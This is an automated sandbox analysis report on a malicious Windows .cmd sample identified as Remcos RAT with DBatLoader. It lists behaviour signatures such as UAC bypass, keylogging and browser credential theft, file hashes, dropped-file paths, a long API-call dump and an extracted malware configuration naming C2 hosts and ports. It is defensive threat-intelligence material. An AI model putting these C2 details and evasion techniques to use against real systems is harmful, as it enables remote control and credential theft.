Windows Analysis Report
URGENTE_NOTIFICATION.cmd

Overview

General Information

Sample name: URGENTE_NOTIFICATION.cmd
Analysis ID: 1430814
MD5: 10dfd3dccfeaeb1e19e586e5d89ef1c6
SHA1: af3aa6b4249a27778de9e8b2fc2ee6badb0e299a
SHA256: f81c9ad169f7dcfa4545eab3552115156d7923957c1cffc4809a574209599e3c
Infos:

Detection

Remcos, DBatLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Sigma detected: Remcos
Yara detected DBatLoader
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Drops or copies certutil.exe with a different name (likely to bypass HIPS)
Drops or copies cmd.exe with a different name (likely to bypass HIPS)
Installs a global keyboard hook
Machine Learning detection for dropped file
Registers a new ROOT certificate
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Suspicious Program Location with Network Connections
Uses dynamic DNS services
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Binary contains a suspicious time stamp
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to execute programs as a different user
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to launch a process as a different user
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Suspicious Copy From or To System Directory
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
 https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
Name Description Attribution Blogpost URLs Link
DBatLoader This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://geoplugin.net/json.gp URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp URL Reputation: Label: phishing
Source: http://geoplugin.net/json.gp/C URL Reputation: Label: phishing
Found malware configuration
Source: 00000019.00000002.2031904948.0000000000704000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": "37.duckdns.org:10521:1embargogo2378.duckdns.org:10522:0", "Assigned name": "Future2025", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-RFUXJL", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Multi AV Scanner detection for dropped file
Source: C:\Users\Public\Libraries\netutils.dll ReversingLabs: Detection: 28%
Source: C:\Users\Public\Libraries\netutils.dll Virustotal: Detection: 47% Perma Link
Yara detected Remcos RAT
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.2031904948.0000000000704000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2527196256.000000000076E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sppsvc.pif PID: 3664, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 3060, type: MEMORYSTR
Machine Learning detection for dropped file
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Joe Sandbox ML: detected
Source: C:\Users\Public\Libraries\sppsvc.pif Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665892F38 ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,InitializeCriticalSection,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,LocalFree,lstrcmpW,#357,CoInitialize,#357,#357,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection, 6_2_00007FF665892F38
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665892C2C CryptFindOIDInfo,memset,CryptRegisterOIDInfo,GetLastError,#357, 6_2_00007FF665892C2C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659566D8 NCryptFreeObject,#360, 6_2_00007FF6659566D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659486D8 CertFindCertificateInStore,CryptAcquireCertificatePrivateKey,GetLastError,#359,CertFindCertificateInStore,GetLastError,#359,#357,CertFreeCertificateContext, 6_2_00007FF6659486D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C26E0 #357,#357,LocalAlloc,memmove,memset,#357,BCryptFreeBuffer,#357,#357,#357, 6_2_00007FF6658C26E0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665912724 CryptDecodeObject,GetLastError,#357, 6_2_00007FF665912724
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EA654 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyTimeValidity,CertOpenStore,GetLastError,#357,CryptVerifyCertificateSignature,CertVerifyRevocation,GetLastError,#357,CertCloseStore, 6_2_00007FF6658EA654
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956654 NCryptGetProperty,#360, 6_2_00007FF665956654
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F4694 CertFindAttribute,CryptHashCertificate2,memcmp,#357, 6_2_00007FF6658F4694
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B6694 CryptQueryObject,GetLastError,#359,#357,#357,LocalFree,CertCloseStore,CryptMsgClose, 6_2_00007FF6658B6694
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AC5D4 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#357,#357,#357,#357,LocalFree,LocalFree, 6_2_00007FF6658AC5D4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E25E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey, 6_2_00007FF6658E25E8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A8600 #357,CryptDecodeObject,GetLastError,LocalFree, 6_2_00007FF6658A8600
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B0630 #357,CryptDecodeObject,GetLastError,#357,GetLastError,GetLastError,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658B0630
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659265B4 NCryptIsKeyHandle,_CxxThrowException, 6_2_00007FF6659265B4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591E57C CertOpenStore,GetLastError,#357,CertAddEncodedCertificateToStore,GetLastError,#358,CryptFindCertificateKeyProvInfo,GetLastError,#358,#357,CertSetCTLContextProperty,GetLastError,CryptAcquireCertificatePrivateKey,GetLastError,CertSetCTLContextProperty,GetLastError,LocalFree,CertFreeCertificateContext,CertCloseStore, 6_2_00007FF66591E57C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598A58C NCryptOpenStorageProvider,NCryptOpenKey,NCryptGetProperty,GetProcessHeap,HeapAlloc,NCryptGetProperty,NCryptFreeObject,NCryptFreeObject, 6_2_00007FF66598A58C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595A590 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext, 6_2_00007FF66595A590
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589A8CC CryptFindLocalizedName,CertEnumCertificatesInStore,CertFindCertificateInStore,CertGetCRLContextProperty,#357,#357,#357,CertEnumCertificatesInStore, 6_2_00007FF66589A8CC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659208EC BCryptGetProperty,#205,#359,#357,#357, 6_2_00007FF6659208EC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665954914 GetLastError,#359,CryptGetUserKey,CryptGetUserKey,GetLastError,#357,CryptDestroyKey,CryptReleaseContext, 6_2_00007FF665954914
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590E914 CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,GetLastError,GetLastError,GetLastError,#357,CryptDestroyHash, 6_2_00007FF66590E914
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920844 BCryptExportKey,#205,#359,#357,#357, 6_2_00007FF665920844
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598E8B0 CryptDecodeObjectEx,GetLastError,CryptBinaryToStringW,GetLastError,memset,CryptBinaryToStringW,??3@YAXPEAX@Z,LocalFree, 6_2_00007FF66598E8B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658867CC LocalAlloc,#357,GetSystemTimeAsFileTime,LocalAlloc,#357,LocalAlloc,#357,memmove,memcmp,CryptEncodeObjectEx,memmove,LocalFree,GetLastError,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658867CC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590C7F0 GetLastError,#357,CertOpenStore,GetLastError,CertEnumCertificatesInStore,CertCompareCertificateName,CertFindExtension,CryptDecodeObject,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CertSetCTLContextProperty,GetLastError,#357,GetSystemTimeAsFileTime,I_CryptCreateLruEntry,GetLastError,#357,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,GetLastError,#357,CertEnumCertificatesInStore,I_CryptCreateLruEntry,GetLastError,#357,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,CertFreeCertificateChain,GetLastError,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,#357,CertCloseStore,CertFreeCertificateContext, 6_2_00007FF66590C7F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659207F4 BCryptDestroyKey,#205,#357, 6_2_00007FF6659207F4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659127BC _strnicmp,#357,#357,#357,#357,CryptDecodeObject,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6659127BC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659307D0 memset,#357,#360,#359,#357,#358,LoadCursorW,SetCursor,#360,#358,CertGetPublicKeyLength,GetLastError,#357,strcmp,GetLastError,#357,CryptFindOIDInfo,#357,#357,LocalFree,#357,LocalFree,#358,#358,#357,SetCursor,SetCursor,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,#357,#225,#359,#359,#357,#359,LocalFree,#359,#223,#359,#357,#223,#359,#359,#359,DialogBoxParamW,SysStringByteLen,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,SysFreeString,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z, 6_2_00007FF6659307D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A6824 CryptHashCertificate,GetLastError,#357, 6_2_00007FF6658A6824
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665958814 NCryptIsKeyHandle,NCryptIsKeyHandle,#357,#359,#357,CryptFindOIDInfo,LocalAlloc,#357,LocalAlloc,#357,CryptFindOIDInfo,#359,LocalAlloc,#357,memmove,LocalFree,#357, 6_2_00007FF665958814
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920740 BCryptCloseAlgorithmProvider,#205,#357,#357, 6_2_00007FF665920740
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595A740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext, 6_2_00007FF66595A740
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659207A4 BCryptDestroyHash,#205,#357, 6_2_00007FF6659207A4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598A2E0 NCryptOpenStorageProvider,NCryptOpenKey,NCryptFreeObject, 6_2_00007FF66598A2E0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C0300 NCryptOpenStorageProvider,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,NCryptFreeObject,#357, 6_2_00007FF6658C0300
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594E274 GetLastError,#358,CryptAcquireCertificatePrivateKey,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,NCryptIsKeyHandle,GetLastError,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z, 6_2_00007FF66594E274
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665958298 #357,CryptFindOIDInfo,LocalAlloc,#357,memmove, 6_2_00007FF665958298
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F6280 #357,#254,#357,CertGetCRLContextProperty,GetLastError,memcmp,#254,#357,#360,#360,CertGetPublicKeyLength,GetLastError,#359,strcmp,GetLastError,CryptFindOIDInfo,#357,LocalFree,CryptFindOIDInfo,#357,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658F6280
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665942278 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,LocalAlloc,memmove,#357,#357,CryptDestroyHash,CryptReleaseContext, 6_2_00007FF665942278
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590A1E8 LocalFree,CryptHashCertificate2,CertGetCRLContextProperty,CertGetNameStringA,memmove,memmove,GetLastError,GetLastError,#357,GetLastError,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,memmove,GetLastError,#357,GetLastError,#359,LocalFree, 6_2_00007FF66590A1E8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591E1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject, 6_2_00007FF66591E1F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595A1F8 LocalAlloc,CryptEnumProvidersA,GetLastError,#358,LocalFree,#357, 6_2_00007FF66595A1F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665986214 CryptDecodeObjectEx,CryptDecodeObjectEx,SetLastError, 6_2_00007FF665986214
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598613C CryptDecodeObjectEx, 6_2_00007FF66598613C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665906194 CryptQueryObject,GetLastError,CertEnumCertificatesInStore,CertAddStoreToCollection,GetLastError,#357,CertCloseStore,CertFreeCertificateContext, 6_2_00007FF665906194
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659461AC SysStringLen,SysStringLen,CryptStringToBinaryW,GetLastError,#357, 6_2_00007FF6659461AC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E417C #360,#360,#359,#357,#357,#357,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,LocalFree,LocalFree,LocalFree,CryptDestroyKey, 6_2_00007FF6658E417C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C21A4 #360,#359,#357,#357,BCryptFreeBuffer, 6_2_00007FF6658C21A4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F24D4 #357,CertCompareCertificateName,CertCompareCertificateName,GetSystemTime,SystemTimeToFileTime,GetLastError,#357,CompareFileTime,CompareFileTime,CompareFileTime,CompareFileTime,CryptVerifyCertificateSignature,GetLastError,#357,strcmp,strcmp,#357,#357,#357,CertCompareCertificateName,#357,CertCompareCertificateName,#357,CertFreeCTLContext, 6_2_00007FF6658F24D4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658944E0 #357,#256,#357,GetLastError,CryptImportPublicKeyInfoEx2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalAlloc,GetLastError,memmove,BCryptVerifySignature,BCryptVerifySignature,BCryptDestroyKey,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658944E0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AC514 CryptGetProvParam,SetLastError,LocalAlloc,LocalFree, 6_2_00007FF6658AC514
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594E516 ??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,NCryptIsKeyHandle,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z, 6_2_00007FF66594E516
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FC450 CertOpenStore,GetLastError,#357,CryptQueryObject,CertAddStoreToCollection,GetLastError,#357,CertAddStoreToCollection,GetLastError,CertOpenStore,GetLastError,CertAddStoreToCollection,GetLastError,CertCloseStore,CertCloseStore,CertCloseStore,CertCloseStore, 6_2_00007FF6658FC450
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FA450 #357,#358,#357,#223,SetLastError,SetLastError,memmove,memmove,#357,#357,GetLastError,#357,#357,strcmp,GetLastError,strcmp,strcmp,strcmp,qsort,#357,CompareFileTime,CompareFileTime,#357,#357,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertCloseStore,CertCloseStore,CertFreeCTLContext,LocalFree,free, 6_2_00007FF6658FA450
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665918488 #357,CertGetCertificateChain,GetLastError,LocalAlloc,CertGetCRLContextProperty,GetLastError,GetLastError,GetLastError,CryptAcquireContextW,GetLastError,memset,CryptMsgOpenToEncode,GetLastError,CryptMsgUpdate,GetLastError,#357,#357,CryptReleaseContext,CryptMsgClose,CertCloseStore,CertFreeCertificateChain,LocalFree,LocalFree,LocalFree, 6_2_00007FF665918488
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C23E8 BCryptResolveProviders,#360,#360,BCryptFreeBuffer, 6_2_00007FF6658C23E8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A4410 GetUserDefaultUILanguage,GetSystemDefaultUILanguage,#357,#357,CryptFindOIDInfo,CryptEnumOIDInfo,#360,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,CryptEnumOIDInfo,#258,#358,#357,#357,#357,LocalFree,#224,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658A4410
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665958404 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext, 6_2_00007FF665958404
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665912358 #357,#357,CryptReleaseContext,CryptReleaseContext,CertFreeCertificateContext,CertFreeCertificateContext, 6_2_00007FF665912358
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665916374 memset,#358,#357,LocalFree,LocalFree,#357,#357,_strlwr,#357,LocalFree,LocalFree,lstrcmpW,#359,#359,#357,CryptAcquireContextW,GetLastError,#256,CryptGenRandom,GetLastError,#254,#357,fopen,fopen,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,LocalAlloc,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,#357,LocalFree,#357,fprintf,fprintf,CertOpenStore,GetLastError,LocalAlloc,CertSaveStore,GetLastError,#357,CertCloseStore,CertFreeCertificateContext,CertFreeCertificateContext,fclose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,CryptReleaseContext,fprintf,fprintf,fflush,ferror, 6_2_00007FF665916374
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AE3B0 #357,#357,CryptDecodeObject,LocalFree, 6_2_00007FF6658AE3B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920EF4 NCryptImportKey,#205,#359,#359,#357, 6_2_00007FF665920EF4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665980ED0 LocalAlloc,LocalReAlloc,#357,#360,CryptFindOIDInfo,CryptFindOIDInfo,LocalAlloc,#357,memmove,_wcsnicmp,#256,#359, 6_2_00007FF665980ED0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956F2C NCryptExportKey,#360, 6_2_00007FF665956F2C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B8F1C strcmp,LocalFree,strcmp,LocalFree,strcmp,LocalFree,strcmp,CryptDecodeObject,LocalFree,LocalFree,LocalFree,strcmp,strcmp,strcmp,strcmp,LocalFree,GetLastError,#357,GetLastError,GetLastError, 6_2_00007FF6658B8F1C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665964E58 NCryptIsKeyHandle,#357,BCryptGenRandom,#360,LocalAlloc,CryptExportPKCS8,GetLastError,LocalAlloc,CryptExportPKCS8,GetLastError,NCryptIsKeyHandle,#359,#359,NCryptFinalizeKey,#360, 6_2_00007FF665964E58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665922E6C CryptFindOIDInfo,#205,#357,#357,#357,#359,#359,#357,#357,#359,LocalFree, 6_2_00007FF665922E6C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956E48 NCryptSetProperty,#360, 6_2_00007FF665956E48
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C0E94 GetLastError,#359,CryptGetProvParam,LocalFree,#357,LocalFree,CryptReleaseContext, 6_2_00007FF6658C0E94
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956EA8 NCryptImportKey,#360, 6_2_00007FF665956EA8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F2E7C #223,GetLastError,#358,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,LocalFree, 6_2_00007FF6658F2E7C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594EE94 CryptSignMessage,SetLastError, 6_2_00007FF66594EE94
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956DE0 NCryptCreatePersistedKey,#360, 6_2_00007FF665956DE0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665970DB8 CryptMsgGetParam,GetLastError,#357,#357,memset,CryptMsgGetParam,GetLastError,#357, 6_2_00007FF665970DB8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665904DDC GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree, 6_2_00007FF665904DDC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665948DD0 CertGetCRLContextProperty,GetLastError,#357,memcmp,CertGetCRLContextProperty,GetLastError,#357,memcmp,CertFindExtension,GetLastError,memcmp,CryptHashCertificate,GetLastError,memcmp,CryptHashPublicKeyInfo,GetLastError,memcmp,LocalFree, 6_2_00007FF665948DD0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920DD4 NCryptGetProperty,#205,#359,#357,#359,#357, 6_2_00007FF665920DD4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B0E24 #357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,GetLastError,#357,#357,#357,GetLastError,GetLastError,GetLastError,CryptDecodeObject,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658B0E24
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665952DAC #357,#357,CryptFindOIDInfo,LocalFree, 6_2_00007FF665952DAC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665922D78 CryptEncrypt,#205,GetLastError,#357,#357,#357,#357,SetLastError, 6_2_00007FF665922D78
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956D78 NCryptOpenKey,#360, 6_2_00007FF665956D78
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920D84 NCryptFreeObject,#205,#357, 6_2_00007FF665920D84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659210D8 NCryptSetProperty,#205,#359,#357,#359,#357, 6_2_00007FF6659210D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659230D8 CryptGetHashParam,#205,GetLastError,#357,#357,#357,#357,SetLastError, 6_2_00007FF6659230D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659570C8 BCryptSetProperty,#360, 6_2_00007FF6659570C8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree, 6_2_00007FF66594511C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665957124 BCryptGenerateKeyPair,#360, 6_2_00007FF665957124
